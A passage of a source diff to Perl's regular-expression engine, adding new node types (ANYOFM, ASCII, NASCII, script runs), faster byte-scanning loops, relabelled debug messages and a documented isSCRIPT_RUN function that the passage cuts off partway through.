 	    fold_utf8_flags = FOLDEQ_UTF8_NOMIX_ASCII;
@@ -6355,6 +6687,29 @@
 	    }
 	    break;
 
+        case ANYOFM:
+            if (NEXTCHR_IS_EOS || (UCHARAT(locinput) & FLAGS(scan)) != ARG(scan)) {
+                sayNO;
+            }
+            locinput++;
+            break;
+
+        case ASCII:
+            if (NEXTCHR_IS_EOS || ! isASCII(UCHARAT(locinput))) {
+                sayNO;
+            }
+
+            locinput++;     /* ASCII is always single byte */
+            break;
+
+        case NASCII:
+            if (NEXTCHR_IS_EOS || isASCII(UCHARAT(locinput))) {
+                sayNO;
+            }
+
+            goto increment_locinput;
+            break;
+
         /* The argument (FLAGS) to all the POSIX node types is the class number
          * */
 
@@ -6479,63 +6834,53 @@
             else {  /* Handle above Latin-1 code points */
               utf8_posix_above_latin1:
                 classnum = (_char_class_number) FLAGS(scan);
-                if (classnum < _FIRST_NON_SWASH_CC) {
-
-                    /* Here, uses a swash to find such code points.  Load if if
-                     * not done already */
-                    if (! PL_utf8_swash_ptrs[classnum]) {
-                        U8 flags = _CORE_SWASH_INIT_ACCEPT_INVLIST;
-                        PL_utf8_swash_ptrs[classnum]
-                                = _core_swash_init("utf8",
-                                        "",
-                                        &PL_sv_undef, 1, 0,
-                                        PL_XPosix_ptrs[classnum], &flags);
-                    }
-                    if (! (to_complement
-                           ^ cBOOL(swash_fetch(PL_utf8_swash_ptrs[classnum],
-                                               (U8 *) locinput, TRUE))))
-                    {
-                        sayNO;
-                    }
+                switch (classnum) {
+                    default:
+                        if (! (to_complement
+                           ^ cBOOL(_invlist_contains_cp(
+                                      PL_XPosix_ptrs[classnum],
+                                      utf8_to_uvchr_buf((U8 *) locinput,
+                                                        (U8 *) reginfo->strend,
+                                                        NULL)))))
+                        {
+                            sayNO;
+                        }
+                        break;
+                    case _CC_ENUM_SPACE:
+                        if (! (to_complement
+                                    ^ cBOOL(is_XPERLSPACE_high(locinput))))
+                        {
+                            sayNO;
+                        }
+                        break;
+                    case _CC_ENUM_BLANK:
+                        if (! (to_complement
+                                        ^ cBOOL(is_HORIZWS_high(locinput))))
+                        {
+                            sayNO;
+                        }
+                        break;
+                    case _CC_ENUM_XDIGIT:
+                        if (! (to_complement
+                                        ^ cBOOL(is_XDIGIT_high(locinput))))
+                        {
+                            sayNO;
+                        }
+                        break;
+                    case _CC_ENUM_VERTSPACE:
+                        if (! (to_complement
+                                        ^ cBOOL(is_VERTWS_high(locinput))))
+                        {
+                            sayNO;
+                        }
+                        break;
+                    case _CC_ENUM_CNTRL:    /* These can't match above Latin1 */
+                    case _CC_ENUM_ASCII:
+                        if (! to_complement) {
+                            sayNO;
+                        }
+                        break;
                 }
-                else {  /* Here, uses macros to find above Latin-1 code points */
-                    switch (classnum) {
-                        case _CC_ENUM_SPACE:
-                            if (! (to_complement
-                                        ^ cBOOL(is_XPERLSPACE_high(locinput))))
-                            {
-                                sayNO;
-                            }
-                            break;
-                        case _CC_ENUM_BLANK:
-                            if (! (to_complement
-                                            ^ cBOOL(is_HORIZWS_high(locinput))))
-                            {
-                                sayNO;
-                            }
-                            break;
-                        case _CC_ENUM_XDIGIT:
-                            if (! (to_complement
-                                            ^ cBOOL(is_XDIGIT_high(locinput))))
-                            {
-                                sayNO;
-                            }
-                            break;
-                        case _CC_ENUM_VERTSPACE:
-                            if (! (to_complement
-                                            ^ cBOOL(is_VERTWS_high(locinput))))
-                            {
-                                sayNO;
-                            }
-                            break;
-                        default:    /* The rest, e.g. [:cntrl:], can't match
-                                       above Latin1 */
-                            if (! to_complement) {
-                                sayNO;
-                            }
-                            break;
-                    }
-                }
                 locinput += UTF8SKIP(locinput);
             }
             break;
@@ -6977,7 +7322,7 @@
 		if (logical == 0)        /*   (?{})/   */
 		    sv_setsv(save_scalar(PL_replgv), ret); /* $^R */
 		else if (logical == 1) { /*   /(?(?{...})X|Y)/    */
-		    sw = cBOOL(SvTRUE(ret));
+		    sw = cBOOL(SvTRUE_NN(ret));
 		    logical = 0;
 		}
 		else {                   /*  /(??{})  */
@@ -7076,7 +7421,7 @@
 		rei = RXi_GET(re);
                 DEBUG_EXECUTE_r(
                     debug_start_match(re_sv, utf8_target, locinput,
-                                    reginfo->strend, "Matching embedded");
+                                    reginfo->strend, "EVAL/GOSUB: Matching embedded");
 		);		
 		startpoint = rei->program + 1;
                 EVAL_CLOSE_PAREN_CLEAR(st); /* ST.close_paren = 0;
@@ -7206,7 +7551,7 @@
 	    if (n > maxopenparen)
 		maxopenparen = n;
             DEBUG_BUFFERS_r(Perl_re_exec_indentf( aTHX_
-		"rex=0x%" UVxf " offs=0x%" UVxf ": \\%" UVuf ": set %" IVdf " tmp; maxopenparen=%" UVuf "\n",
+		"OPEN: rex=0x%" UVxf " offs=0x%" UVxf ": \\%" UVuf ": set %" IVdf " tmp; maxopenparen=%" UVuf "\n",
                 depth,
 		PTR2UV(rex),
 		PTR2UV(rex->offs),
@@ -7217,12 +7562,16 @@
             lastopen = n;
 	    break;
 
+        case SROPEN: /*  (*SCRIPT_RUN:  */
+            script_run_begin = (U8 *) locinput;
+            break;
+
 /* XXX really need to log other places start/end are set too */
 #define CLOSE_CAPTURE                                                      \
     rex->offs[n].start = rex->offs[n].start_tmp;                           \
     rex->offs[n].end = locinput - reginfo->strbeg;                         \
     DEBUG_BUFFERS_r(Perl_re_exec_indentf( aTHX_                            \
-        "rex=0x%" UVxf " offs=0x%" UVxf ": \\%" UVuf ": set %" IVdf "..%" IVdf "\n", \
+        "CLOSE: rex=0x%" UVxf " offs=0x%" UVxf ": \\%" UVuf ": set %" IVdf "..%" IVdf "\n", \
         depth,                                                             \
         PTR2UV(rex),                                                       \
         PTR2UV(rex->offs),                                                 \
@@ -7242,6 +7591,16 @@
 
 	    break;
 
+        case SRCLOSE:  /*  (*SCRIPT_RUN: ... )   */
+
+            if (! isSCRIPT_RUN(script_run_begin, (U8 *) locinput, utf8_target))
+            {
+                sayNO;
+            }
+
+            break;
+
+
         case ACCEPT:  /*  (*ACCEPT)  */
             if (scan->flags)
                 sv_yes_mark = MUTABLE_SV(rexi->data->data[ ARG( scan ) ]);
@@ -7453,7 +7812,7 @@
 	    ST.cache_mask = 0;
 	    
 
-            DEBUG_EXECUTE_r( Perl_re_exec_indentf( aTHX_  "whilem: matched %ld out of %d..%d\n",
+            DEBUG_EXECUTE_r( Perl_re_exec_indentf( aTHX_  "WHILEM: matched %ld out of %d..%d\n",
                   depth, (long)n, min, max)
 	    );
 
@@ -7471,7 +7830,7 @@
 	    /* If degenerate A matches "", assume A done. */
 
 	    if (locinput == cur_curlyx->u.curlyx.lastloc) {
-                DEBUG_EXECUTE_r( Perl_re_exec_indentf( aTHX_  "whilem: empty match detected, trying continuation...\n",
+                DEBUG_EXECUTE_r( Perl_re_exec_indentf( aTHX_  "WHILEM: empty match detected, trying continuation...\n",
                    depth)
 		);
 		goto do_whilem_B_max;
@@ -7539,7 +7898,7 @@
 			Newxz(aux->poscache, size, char);
 		    }
                     DEBUG_EXECUTE_r( Perl_re_printf( aTHX_
-      "%swhilem: Detected a super-linear match, switching on caching%s...\n",
+      "%sWHILEM: Detected a super-linear match, switching on caching%s...\n",
 			      PL_colors[4], PL_colors[5])
 		    );
 		}
@@ -7555,7 +7914,7 @@
 		    mask    = 1 << (offset % 8);
 		    offset /= 8;
 		    if (reginfo->info_aux->poscache[offset] & mask) {
-                        DEBUG_EXECUTE_r( Perl_re_exec_indentf( aTHX_  "whilem: (cache) already tried at this position...\n",
+                        DEBUG_EXECUTE_r( Perl_re_exec_indentf( aTHX_  "WHILEM: (cache) already tried at this position...\n",
                             depth)
 			);
                         cur_curlyx->u.curlyx.count--;
@@ -7603,11 +7962,11 @@
 	    CACHEsayNO;
 	    NOT_REACHED; /* NOTREACHED */
 
+	case WHILEM_A_min_fail: /* just failed to match A in a minimal match */
+	    /* FALLTHROUGH */
 	case WHILEM_A_pre_fail: /* just failed to match even minimal A */
 	    REGCP_UNWIND(ST.lastcp);
             regcppop(rex, &maxopenparen);
-	    /* FALLTHROUGH */
-	case WHILEM_A_min_fail: /* just failed to match A in a minimal match */
 	    cur_curlyx->u.curlyx.lastloc = ST.save_lastloc;
 	    cur_curlyx->u.curlyx.count--;
 	    CACHEsayNO;
@@ -7616,7 +7975,7 @@
 	case WHILEM_A_max_fail: /* just failed to match A in a maximal match */
 	    REGCP_UNWIND(ST.lastcp);
             regcppop(rex, &maxopenparen); /* Restore some previous $<digit>s? */
-            DEBUG_EXECUTE_r(Perl_re_exec_indentf( aTHX_  "whilem: failed, trying continuation...\n",
+            DEBUG_EXECUTE_r(Perl_re_exec_indentf( aTHX_  "WHILEM: failed, trying continuation...\n",
                 depth)
 	    );
 	  do_whilem_B_max:
@@ -7657,10 +8016,13 @@
 		CACHEsayNO;
 	    }
 
-            DEBUG_EXECUTE_r(Perl_re_exec_indentf( aTHX_  "trying longer...\n", depth)
+            DEBUG_EXECUTE_r(Perl_re_exec_indentf( aTHX_  "WHILEM: B min fail: trying longer...\n", depth)
 	    );
 	    /* Try grabbing another A and see if it helps. */
 	    cur_curlyx->u.curlyx.lastloc = locinput;
+            ST.cp = regcppush(rex, cur_curlyx->u.curlyx.parenfloor,
+                            maxopenparen);
+	    REGCP_SET(ST.lastcp);
 	    PUSH_STATE_GOTO(WHILEM_A_min,
 		/*A*/ NEXTOPER(ST.save_curlyx->u.curlyx.me) + EXTRA_STEP_2ARGS,
                 locinput);
@@ -8124,16 +8486,46 @@
 		}
 		else {  /* Not utf8_target */
 		    if (ST.c1 == ST.c2) {
-			while (locinput <= ST.maxpos &&
-			       UCHARAT(locinput) != ST.c1)
-			    locinput++;
+                        locinput = (char *) memchr(locinput,
+                                                   ST.c1,
+                                                   ST.maxpos + 1 - locinput);
+                        if (! locinput) {
+                            locinput = ST.maxpos + 1;
+                        }
 		    }
-		    else {
-			while (locinput <= ST.maxpos
-			       && UCHARAT(locinput) != ST.c1
-			       && UCHARAT(locinput) != ST.c2)
-			    locinput++;
-		    }
+                    else {
+                        U8 c1_c2_bits_differing = ST.c1 ^ ST.c2;
+
+                        if (! isPOWER_OF_2(c1_c2_bits_differing)) {
+                            while (   locinput <= ST.maxpos
+                                   && UCHARAT(locinput) != ST.c1
+                                   && UCHARAT(locinput) != ST.c2)
+                            {
+                                locinput++;
+                            }
+                        }
+                        else {
+                            /* If c1 and c2 only differ by a single bit, we can
+                             * avoid a conditional each time through the loop,
+                             * at the expense of a little preliminary setup and
+                             * an extra mask each iteration.  By masking out
+                             * that bit, we match exactly two characters, c1
+                             * and c2, and so we don't have to test for both.
+                             * On both ASCII and EBCDIC platforms, most of the
+                             * ASCII-range and Latin1-range folded equivalents
+                             * differ only in a single bit, so this is actually
+                             * the most common case. (e.g. 'A' 0x41 vs 'a'
+                             * 0x61). */
+                            U8 c1_masked = ST.c1 &~ c1_c2_bits_differing;
+                            U8 c1_c2_mask = ~ c1_c2_bits_differing;
+                            while (   locinput <= ST.maxpos
+                                   && (UCHARAT(locinput) & c1_c2_mask)
+                                                                != c1_masked)
+                            {
+                                locinput++;
+                            }
+                        }
+                    }
 		    n = locinput - ST.oldloc;
 		}
 		if (locinput > ST.maxpos)
@@ -8258,7 +8650,7 @@
 		st->u.eval.prev_eval = cur_eval;
                 cur_eval = CUR_EVAL.prev_eval;
 		DEBUG_EXECUTE_r(
-                    Perl_re_exec_indentf( aTHX_  "EVAL trying tail ... (cur_eval=%p)\n",
+                    Perl_re_exec_indentf( aTHX_  "END: EVAL trying tail ... (cur_eval=%p)\n",
                                       depth, cur_eval););
                 if ( nochange_depth )
 	            nochange_depth--;
@@ -8271,7 +8663,7 @@
 
 	    if (locinput < reginfo->till) {
                 DEBUG_EXECUTE_r(Perl_re_printf( aTHX_
-                                      "%sMatch possible, but length=%ld is smaller than requested=%ld, failing!%s\n",
+                                      "%sEND: Match possible, but length=%ld is smaller than requested=%ld, failing!%s\n",
 				      PL_colors[4],
 				      (long)(locinput - startpos),
 				      (long)(reginfo->till - startpos),
@@ -8283,7 +8675,7 @@
 
 	case SUCCEED: /* successful SUSPEND/UNLESSM/IFMATCH/CURLYM */
 	    DEBUG_EXECUTE_r(
-            Perl_re_exec_indentf( aTHX_  "%ssubpattern success...%s\n",
+            Perl_re_exec_indentf( aTHX_  "%sSUCCEED: subpattern success...%s\n",
                 depth, PL_colors[4], PL_colors[5]));
 	    sayYES;			/* Success! */
 
@@ -8418,7 +8810,7 @@
                 sv_commit = ST.mark_name;
 
                 DEBUG_EXECUTE_r({
-                        Perl_re_exec_indentf( aTHX_  "%ssetting cutpoint to mark:%" SVf "...%s\n",
+                        Perl_re_exec_indentf( aTHX_  "%sMARKPOINT: next fail: setting cutpoint to mark:%" SVf "...%s\n",
                             depth,
 		            PL_colors[4], SVfARG(sv_commit), PL_colors[5]);
 		});
@@ -8761,8 +9153,10 @@
 		hardcount++;
 	    }
 	} else {
-	    while (scan < loceol && *scan != '\n')
-		scan++;
+            scan = (char *) memchr(scan, '\n', loceol - scan);
+            if (! scan) {
+                scan = loceol;
+            }
 	}
 	break;
     case SANY:
@@ -8786,7 +9180,7 @@
 
 	c = (U8)*STRING(p);
 
-        /* Can use a simple loop if the pattern char to match on is invariant
+        /* Can use a simple find if the pattern char to match on is invariant
          * under UTF-8, or both target and pattern aren't UTF-8.  Note that we
          * can use UTF8_IS_INVARIANT() even if the pattern isn't UTF-8, as it's
          * true iff it doesn't matter if the argument is in UTF-8 or not */
@@ -8796,9 +9190,7 @@
                  * since here, to match at all, 1 char == 1 byte */
                 loceol = scan + max;
             }
-	    while (scan < loceol && UCHARAT(scan) == c) {
-		scan++;
-	    }
+            scan = (char *) find_span_end((U8 *) scan, (U8 *) loceol, (U8) c);
 	}
 	else if (reginfo->is_utf8_pat) {
             if (utf8_target) {
@@ -8818,11 +9210,9 @@
             else if (! UTF8_IS_ABOVE_LATIN1(c)) {
 
                 /* Target isn't utf8; convert the character in the UTF-8
-                 * pattern to non-UTF8, and do a simple loop */
+                 * pattern to non-UTF8, and do a simple find */
                 c = EIGHT_BIT_UTF8_TO_NATIVE(c, *(STRING(p) + 1));
-                while (scan < loceol && UCHARAT(scan) == c) {
-                    scan++;
-                }
+                scan = (char *) find_span_end((U8 *) scan, (U8 *) loceol, (U8) c);
             } /* else pattern char is above Latin1, can't possibly match the
                  non-UTF-8 target */
         }
@@ -8846,10 +9236,10 @@
 	}
 	break;
 
-    case EXACTFA_NO_TRIE:   /* This node only generated for non-utf8 patterns */
+    case EXACTFAA_NO_TRIE: /* This node only generated for non-utf8 patterns */
         assert(! reginfo->is_utf8_pat);
         /* FALLTHROUGH */
-    case EXACTFA:
+    case EXACTFAA:
         utf8_flags = FOLDEQ_UTF8_NOMIX_ASCII;
 	goto do_exactf;
 
@@ -8920,16 +9310,29 @@
                 }
             }
             else if (c1 == c2) {
-                while (scan < loceol && UCHARAT(scan) == c1) {
-                    scan++;
-                }
+                scan = (char *) find_span_end((U8 *) scan, (U8 *) loceol, (U8) c1);
             }
             else {
-                while (scan < loceol &&
-                    (UCHARAT(scan) == c1 || UCHARAT(scan) == c2))
-                {
-                    scan++;
+                /* See comments in regmatch() CURLY_B_min_known_fail.  We avoid
+                 * a conditional each time through the loop if the characters
+                 * differ only in a single bit, as is the usual situation */
+                U8 c1_c2_bits_differing = c1 ^ c2;
+
+                if (isPOWER_OF_2(c1_c2_bits_differing)) {
+                    U8 c1_c2_mask = ~ c1_c2_bits_differing;
+
+                    scan = (char *) find_span_end_mask((U8 *) scan,
+                                                       (U8 *) loceol,
+                                                       c1 & c1_c2_mask,
+                                                       c1_c2_mask);
                 }
+                else {
+                    while (    scan < loceol
+                           && (UCHARAT(scan) == c1 || UCHARAT(scan) == c2))
+                    {
+                        scan++;
+                    }
+                }
             }
 	}
 	break;
@@ -8963,6 +9366,41 @@
 	}
 	break;
 
+    case ANYOFM:
+        if (utf8_target && loceol - scan > max) {
+
+            /* We didn't adjust <loceol> at the beginning of this routine
+             * because is UTF-8, but it is actually ok to do so, since here, to
+             * match, 1 char == 1 byte. */
+            loceol = scan + max;
+        }
+
+        scan = (char *) find_span_end_mask((U8 *) scan, (U8 *) loceol, (U8) ARG(p), FLAGS(p));
+        break;
+
+    case ASCII:
+        if (utf8_target && loceol - scan > max) {
+            loceol = scan + max;
+        }
+
+        scan = find_next_non_ascii(scan, loceol, utf8_target);
+	break;
+
+    case NASCII:
+	if (utf8_target) {
+	    while (     hardcount < max
+                   &&   scan < loceol
+		   && ! isASCII_utf8_safe(scan, loceol))
+	    {
+		scan += UTF8SKIP(scan);
+		hardcount++;
+	    }
+	}
+        else {
+            scan = find_next_ascii(scan, loceol, utf8_target);
+	}
+	break;
+
     /* The argument (FLAGS) to all the POSIX node types is the class number */
 
     case NPOSIXL:
@@ -8980,7 +9418,8 @@
 	} else {
 	    while (hardcount < max && scan < loceol
                    && to_complement ^ cBOOL(isFOO_utf8_lc(FLAGS(p),
-                                                                  (U8 *) scan)))
+                                                                  (U8 *) scan,
+                                                                  (U8 *) loceol)))
             {
                 scan += UTF8SKIP(scan);
 		hardcount++;
@@ -9049,130 +9488,80 @@
 	else {
           utf8_posix:
             classnum = (_char_class_number) FLAGS(p);
-            if (classnum < _FIRST_NON_SWASH_CC) {
+            switch (classnum) {
+                default:
+                    while (   hardcount < max && scan < loceol
+                           && to_complement ^ cBOOL(_invlist_contains_cp(
+                                              PL_XPosix_ptrs[classnum],
+                                              utf8_to_uvchr_buf((U8 *) scan,
+                                                                (U8 *) loceol,
+                                                                NULL))))
+                    {
+                        scan += UTF8SKIP(scan);
+                        hardcount++;
+                    }
+                    break;
 
-                /* Here, a swash is needed for above-Latin1 code points.
-                 * Process as many Latin1 code points using the built-in rules.
-                 * Go to another loop to finish processing upon encountering
-                 * the first Latin1 code point.  We could do that in this loop
-                 * as well, but the other way saves having to test if the swash
-                 * has been loaded every time through the loop: extra space to
-                 * save a test. */
-                while (hardcount < max && scan < loceol) {
-                    if (UTF8_IS_INVARIANT(*scan)) {
-                        if (! (to_complement ^ cBOOL(_generic_isCC((U8) *scan,
-                                                                   classnum))))
-                        {
-                            break;
-                        }
-                        scan++;
+                    /* For the classes below, the knowledge of how to handle
+                     * every code point is compiled in to Perl via a macro.
+                     * This code is written for making the loops as tight as
+                     * possible.  It could be refactored to save space instead.
+                     * */
+
+                case _CC_ENUM_SPACE:
+                    while (hardcount < max
+                           && scan < loceol
+                           && (to_complement
+                               ^ cBOOL(isSPACE_utf8_safe(scan, loceol))))
+                    {
+                        scan += UTF8SKIP(scan);
+                        hardcount++;
                     }
-                    else if (UTF8_IS_DOWNGRADEABLE_START(*scan)) {
-                        if (! (to_complement
-                              ^ cBOOL(_generic_isCC(EIGHT_BIT_UTF8_TO_NATIVE(*scan,
-                                                                     *(scan + 1)),
-                                                    classnum))))
-                        {
-                            break;
-                        }
-                        scan += 2;
+                    break;
+                case _CC_ENUM_BLANK:
+                    while (hardcount < max
+                           && scan < loceol
+                           && (to_complement
+                                ^ cBOOL(isBLANK_utf8_safe(scan, loceol))))
+                    {
+                        scan += UTF8SKIP(scan);
+                        hardcount++;
                     }
-                    else {
-                        goto found_above_latin1;
+                    break;
+                case _CC_ENUM_XDIGIT:
+                    while (hardcount < max
+                           && scan < loceol
+                           && (to_complement
+                               ^ cBOOL(isXDIGIT_utf8_safe(scan, loceol))))
+                    {
+                        scan += UTF8SKIP(scan);
+                        hardcount++;
                     }
-
-                    hardcount++;
-                }
+                    break;
+                case _CC_ENUM_VERTSPACE:
+                    while (hardcount < max
+                           && scan < loceol
+                           && (to_complement
+                               ^ cBOOL(isVERTWS_utf8_safe(scan, loceol))))
+                    {
+                        scan += UTF8SKIP(scan);
+                        hardcount++;
+                    }
+                    break;
+                case _CC_ENUM_CNTRL:
+                    while (hardcount < max
+                           && scan < loceol
+                           && (to_complement
+                               ^ cBOOL(isCNTRL_utf8_safe(scan, loceol))))
+                    {
+                        scan += UTF8SKIP(scan);
+                        hardcount++;
+                    }
+                    break;
             }
-            else {
-                /* For these character classes, the knowledge of how to handle
-                 * every code point is compiled in to Perl via a macro.  This
-                 * code is written for making the loops as tight as possible.
-                 * It could be refactored to save space instead */
-                switch (classnum) {
-                    case _CC_ENUM_SPACE:
-                        while (hardcount < max
-                               && scan < loceol
-                               && (to_complement
-                                   ^ cBOOL(isSPACE_utf8_safe(scan, loceol))))
-                        {
-                            scan += UTF8SKIP(scan);
-                            hardcount++;
-                        }
-                        break;
-                    case _CC_ENUM_BLANK:
-                        while (hardcount < max
-                               && scan < loceol
-                               && (to_complement
-                                    ^ cBOOL(isBLANK_utf8_safe(scan, loceol))))
-                        {
-                            scan += UTF8SKIP(scan);
-                            hardcount++;
-                        }
-                        break;
-                    case _CC_ENUM_XDIGIT:
-                        while (hardcount < max
-                               && scan < loceol
-                               && (to_complement
-                                   ^ cBOOL(isXDIGIT_utf8_safe(scan, loceol))))
-                        {
-                            scan += UTF8SKIP(scan);
-                            hardcount++;
-                        }
-                        break;
-                    case _CC_ENUM_VERTSPACE:
-                        while (hardcount < max
-                               && scan < loceol
-                               && (to_complement
-                                   ^ cBOOL(isVERTWS_utf8_safe(scan, loceol))))
-                        {
-                            scan += UTF8SKIP(scan);
-                            hardcount++;
-                        }
-                        break;
-                    case _CC_ENUM_CNTRL:
-                        while (hardcount < max
-                               && scan < loceol
-                               && (to_complement
-                                   ^ cBOOL(isCNTRL_utf8_safe(scan, loceol))))
-                        {
-                            scan += UTF8SKIP(scan);
-                            hardcount++;
-                        }
-                        break;
-                    default:
-                        Perl_croak(aTHX_ "panic: regrepeat() node %d='%s' has an unexpected character class '%d'", OP(p), PL_reg_name[OP(p)], classnum);
-                }
-            }
 	}
         break;
 
-      found_above_latin1:   /* Continuation of POSIXU and NPOSIXU */
-
-        /* Load the swash if not already present */
-        if (! PL_utf8_swash_ptrs[classnum]) {
-            U8 flags = _CORE_SWASH_INIT_ACCEPT_INVLIST;
-            PL_utf8_swash_ptrs[classnum] = _core_swash_init(
-                                        "utf8",
-                                        "",
-                                        &PL_sv_undef, 1, 0,
-                                        PL_XPosix_ptrs[classnum], &flags);
-        }
-
-        while (hardcount < max && scan < loceol
-               && to_complement ^ cBOOL(_generic_utf8_safe(
-                                       classnum,
-                                       scan,
-                                       loceol,
-                                       swash_fetch(PL_utf8_swash_ptrs[classnum],
-                                                   (U8 *) scan,
-                                                   TRUE))))
-        {
-            scan += UTF8SKIP(scan);
-            hardcount++;
-        }
-        break;
-
     case LNBREAK:
         if (utf8_target) {
 	    while (hardcount < max && scan < loceol &&
@@ -9457,7 +9846,10 @@
     if (off >= 0) {
 	while (off-- && s < lim) {
 	    /* XXX could check well-formedness here */
-	    s += UTF8SKIP(s);
+	    U8 *new_s = s + UTF8SKIP(s);
+            if (new_s > lim) /* lim may be in the middle of a long character */
+                return s;
+            s = new_s;
 	}
     }
     else {
@@ -9749,6 +10141,8 @@
     return TRUE;
 }
 
+#ifndef PERL_IN_XSUB_RE
+
 bool
 Perl__is_grapheme(pTHX_ const U8 * strbeg, const U8 * s, const U8 * strend, const UV cp)
 {
@@ -9804,9 +10198,460 @@
     return isGCB(cp_gcb_val, next_cp_gcb_val, strbeg, s, TRUE);
 }
 
+/*
+=head1 Unicode Support
 
+=for apidoc isSCRIPT_RUN
 
+Returns a bool as to whether or not the sequence of bytes from C<s> up to but
+not including C<send> form a "script run".  C<utf8_target> is TRUE iff the
+sequence starting at C<s> is to be treated as UTF-8.  To be precise, except for
+two degenerate cases given below, this function returns TRUE iff all code
+points in it come from any combination of three "scripts" given by the Unicode
+"Script Extensions" property: Common, Inherited, and possibly one other.
+Additionally all decimal digits must come from the same consecutive sequence of
+10.
 
+For example, if all the characters in the sequence are Greek, or Common, or
+Inherited, this function will return TRUE, provided any decimal digits in it
+are the ASCII digits "0".."9".  For scripts (unlike Greek) that have their own
+digits defined this will accept either digits from that set or from 0..9, but
+not a combination of the two.  Some scripts, such as Arabic, have more than one
+set of digits.  All digits must come from the same set for this function to
+return TRUE.
+
+C<*ret_script>, if C<ret_script> is not NULL, will on return of TRUE
+contain the script found, using the C<SCX_enum> typedef.  Its value will be
+C<SCX_INVALID> if the function returns FALSE.
+
+If the sequence is empty, TRUE is returned, but C<*ret_script> (if asked for)
+will be C<SCX_INVALID>.
+
+If the sequence contains a single code point which is unassigned to a character
+in the version of Unicode being used, the function will return TRUE, and the
+script will be C<SCX_Unknown>.  Any other combination of unassigned code points
+in the input sequence will result in the function treating the input as not
+being a script run.
+
+The returned script will be C<SCX_Inherited> iff all the code points in it are
+from the Inherited script.
+
+Otherwise, the returned script will be C<SCX_Common> iff all the code points in
+it are from the Inherited or Common scripts.
+
+=cut
+
+*/
+
+bool
+Perl_isSCRIPT_RUN(pTHX_ const U8 * s, const U8 * send, const bool utf8_target)
+{
+    /* Basically, it looks at each character in the sequence to see if the
+     * above conditions are met; if not it fails.  It uses an inversion map to
+     * find the enum corresponding to the script of each character.  But this
+     * is complicated by the fact that a few code points can be in any of
+     * several scripts.  The data has been constructed so that there are
+     * additional enum values (all negative) for these situations.  The
+     * absolute value of those is an index into another table which contains
+     * pointers to auxiliary tables for each such situation.  Each aux array
+     * lists all the scripts for the given situation.  There is another,
+     * parallel, table that gives the number of entries in each aux table.
+     * These are all defined in charclass_invlists.h */
+
+    /* XXX Here are the additional things UTS 39 says could be done:
+     * Mark Chinese strings as “mixed script” if they contain both simplified
+     * (S) and traditional (T) Chinese characters, using the Unihan data in the
+     * Unicode Character Database [UCD].  The criterion can only be applied if
+     * the language of the string is known to be Chinese. So, for example, the
+     * string “写真だけの結婚式 ” is Japanese, and should not be marked as
+     * mixed script because of a mixture of S and T characters.  Testing for
+     * whether a character is S or T needs to be based not on whether the
+     * character has a S or T variant , but whether the character is an S or T
+     * variant. khw notes that the sample contains a Hiragana character, and it
+     * is unclear if absence of any foreign script marks the script as
+     * "Chinese"
+     *
+     * Forbid sequences of the same nonspacing mark
+     *
+     * Check to see that all the characters are in the sets of exemplar
+     * characters for at least one language in the Unicode Common Locale Data
+     * Repository [CLDR]. */
+
+
+    /* Things that match /\d/u */
+    SV * decimals_invlist = PL_XPosix_ptrs[_CC_DIGIT];
+    UV * decimals_array = invlist_array(decimals_invlist);
+
+    /* What code point is the digit '0' of the script run? */
+    UV zero_of_run = 0;
+    SCX_enum script_of_run  = SCX_INVALID;   /* Illegal value */
+    SCX_enum script_of_char = SCX_INVALID;
+
+    /* If the script remains not fully determined from iteration to iteration,
+     * this is the current intersection of the possiblities.  */
+    SCX_enum * intersection = NULL;
+    PERL_UINT_FAST8_T intersection_len = 0;
+
+    bool retval = TRUE;
+
+    /* This is supposed to be a return parameter, but currently unused */
+    SCX_enum * ret_script = NULL;
+
+    assert(send >= s);
+
+    PERL_ARGS_ASSERT_ISSCRIPT_RUN;
+
+    /* All code points in 0..255 are either Common or Latin, so must be a
+     * script run.  We can special case it */
+    if (! utf8_target && LIKELY(send > s)) {
+        if (ret_script == NULL) {
+            return TRUE;
+        }
+
+        /* If any character is Latin, the run is Latin */
+        while (s < send) {
+            if (isALPHA_L1(*s) && LIKELY(*s != MICRO_SIGN_NATIVE)) {
+                *ret_script = SCX_Latin;
+                return TRUE;
+            }
+        }
+
+        /* If all are Common ... */
+        *ret_script = SCX_Common;
+        return TRUE;
+    }
+
+    /* Look at each character in the sequence */
+    while (s < send) {
+        UV cp;
+
+        /* The code allows all scripts to use the ASCII digits.  This is
+         * because they are used in commerce even in scripts that have their
+         * own set.  Hence any ASCII ones found are ok, unless a digit from
+         * another set has already been encountered.  (The other digit ranges
+         * in Common are not similarly blessed) */
+        if (UNLIKELY(isDIGIT(*s))) {
+            if (UNLIKELY(script_of_run == SCX_Unknown)) {
+                retval = FALSE;
+                break;
+            }
+            if (zero_of_run > 0) {
+                if (zero_of_run != '0') {
+                    retval = FALSE;
+                    break;
+                }
+            }
+            else {
+                zero_of_run = '0';
+            }
+            s++;
+            continue;
+        }
+
+        /* Here, isn't an ASCII digit.  Find the code point of the character */
+        if (! UTF8_IS_INVARIANT(*s)) {
+            Size_t len;
+            cp = valid_utf8_to_uvchr((U8 *) s, &len);
+            s += len;
+        }
+        else {
+            cp = *(s++);
+        }
+
+        /* If is within the range [+0 .. +9] of the script's zero, it also is a
+         * digit in that script.  We can skip the rest of this code for this
+         * character. */
+        if (UNLIKELY(   zero_of_run > 0
+                     && cp >= zero_of_run
+                     && cp - zero_of_run <= 9))
+        {
+            continue;
+        }
+
+        /* Find the character's script.  The correct values are hard-coded here
+         * for small-enough code points. */
+        if (cp < 0x2B9) {   /* From inspection of Unicode db; extremely
+                               unlikely to change */
+            if (       cp > 255
+                || (   isALPHA_L1(cp)
+                    && LIKELY(cp != MICRO_SIGN_NATIVE)))
+            {
+                script_of_char = SCX_Latin;
+            }
+            else {
+                script_of_char = SCX_Common;
+            }
+        }
+        else {
+            script_of_char = _Perl_SCX_invmap[
+                                       _invlist_search(PL_SCX_invlist, cp)];
+        }
+
+        /* We arbitrarily accept a single unassigned character, but not in
+         * combination with anything else, and not a run of them. */
+        if (   UNLIKELY(script_of_run == SCX_Unknown)
+            || UNLIKELY(   script_of_run != SCX_INVALID
+                        && script_of_char == SCX_Unknown))
+        {
+            retval = FALSE;
+            break;
+        }
+
+        /* For the first character, or the run is inherited, the run's script
+         * is set to the char's */
+        if (   UNLIKELY(script_of_run == SCX_INVALID)
+            || UNLIKELY(script_of_run == SCX_Inherited))
+        {
+            script_of_run = script_of_char;
+        }
+
+        /* For the character's script to be Unknown, it must be the first
+         * character in the sequence (for otherwise a test above would have
+         * prevented us from reaching here), and we have set the run's script
+         * to it.  Nothing further to be done for this character */
